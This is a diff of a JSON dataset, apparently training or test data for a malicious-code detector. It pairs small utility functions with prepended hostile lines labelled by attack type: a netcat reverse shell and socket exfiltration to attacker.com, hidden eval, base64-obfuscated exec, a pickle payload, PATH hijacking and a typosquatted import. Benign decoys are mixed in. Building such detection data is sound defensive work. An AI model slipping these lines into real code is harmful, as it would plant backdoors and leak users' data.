\"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_b648c395", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_af656a99", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_c95a8037", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_acd0fb33", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_fcae5ed4", + "type": "functional", + "code_snippet": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_82556084", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_f7dbe474", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_dc5a71ca", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_56e13f05", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_7bb3a1cb", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_36ac5ec6", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_d74c4240", + "type": "functional", + "code_snippet": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_fd83b1ec", + "type": "functional", + "code_snippet": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f949c438", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_0297094c", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_37a6cc8f", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_c15d1861", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_8efbbd6b", + "type": "functional", + "code_snippet": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d769dace", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "patch": "def is_anagram(s1, s2):\n \"\"\"Check if two strings are anagrams.\"\"\"\n return sorted(s1.replace(\" \", \"\").lower()) == sorted(s2.replace(\" \", \"\").lower())\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_d44678a3", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_2ac00a2a", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": "def parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_3e58ae86", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_7bbf9f86", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d72b4aef", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "patch": "def parse_logs(log_lines):\n \"\"\"Parse simple log lines into level and message.\"\"\"\n parsed = []\n for line in log_lines:\n parts = line.split(\" - \", 1)\n if len(parts) == 2:\n parsed.append({\"level\": parts[0].strip(\"[]\"), \"message\": parts[1]})\n return parsed\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "tp_143c07fc", + "type": "true_positive", + "code_snippet": "def safe_eval(x):\n return eval(x)\nsafe_eval('__import__(\"os\").system(\"echo 1\")')\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "eval_hidden" + }, + { + "id": "fn_0eeaea10", + "type": "functional", + "code_snippet": "import json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_154035f6", + "type": "false_positive", + "code_snippet": "import subprocess\n# Run a safe command for build process\nresult = subprocess.run(['echo', 'build ok'], capture_output=True)\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a04f2c2c", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_97f03353", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_7cd94498", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_6809de57", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "patch": "def word_count(text):\n \"\"\"Count occurrences of words in text.\"\"\"\n words = text.split()\n counts = {}\n for word in words:\n counts[word] = counts.get(word, 0) + 1\n return counts\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_d6f62661", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "fp_2c0040eb", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": null, + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_d3d16f3c", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_c637cc5d", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_a001d7ae", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fp_a5a55709", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\nimport json\n\n\ndef format_json(obj):\n \"\"\"Format dictionary as readable JSON string.\"\"\"\n return json.dumps(obj, indent=4, sort_keys=True)\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_891338bd", + "type": "functional", + "code_snippet": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": null, + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_84e07da6", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_556a2308", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": "def gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_5f607b21", "type": "true_positive", - "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", - "patch": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9/5) + 32\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5/9", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "fn_e5cb0f42", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_89aac3f6", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_923b7b60", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "patch": "def fibonacci(n):\n \"\"\"Return the nth Fibonacci number.\"\"\"\n if n <= 0:\n return 0\n elif n == 1:\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n", + "unit_test_code": "import code\nassert code.fibonacci(5) == 5\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_164225dd", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "tp_606ac41c", + "type": "true_positive", + "code_snippet": "import socket\ntry:\n s = socket.socket()\n s.connect(('attacker.com', 80))\n s.sendall(b'exfiltrated data')\nexcept:\n pass\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + 